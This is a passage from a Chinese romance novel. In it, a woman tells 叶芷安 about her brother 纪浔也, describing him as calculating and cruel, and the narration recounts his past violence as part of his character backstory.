“酒吧不是第一面?” “我是在蓦山溪见到他的。” 纪时愿明显对那三个字印象不佳,但也没问她怎么去了这种乌烟瘴气的地方,只感慨道:“那我哥算是对你一见钟情欸。” 一见钟情? 叶芷安听了想笑,她和纪浔也交换还差不多。 纪时愿兀自摇头称奇,再次开口时声音轻了不少,“这倒是头一遭。” “嗯?”叶芷安没听清,想让她重复一遍。 纪时愿停下手上的动作,眼神认真了些,“我告诉你哦,我二哥活到这岁数,身边都没有过人,不过这也不能代表他和这几年网上的流行的说法一样,是个纯爱战士,相反他满肚子坏水,典型的商人嘴脸,从来不做没有回报、或者产出小于投入的事。用一句话概括他这个人,就是看似深情,实则无心。” 纪公子的毛病三天三夜也数落不完,最混账的那段时间,狠起来拳拳到肉,疯起来又兵不血刃。 论起狠起来折磨人的手段,层出不穷,前一秒他能笑着配合你称兄道弟,下一秒就能踩断你的髌骨,逼迫你昂着下巴对他俯首称臣,谄媚的笑让他不满意,鼻梁多半也会留不住。 他这人还爱清静,真正动起手教训人时,会先往人嘴里塞上棉布,不紧不慢地道声:“听话,咬住这玩意儿,一会儿就不会疼到喊出声了。” 另外,鲜少有人知道,李家兄弟现在最爱在淮山玩的“撞人”游戏,就是纪浔也开的头。

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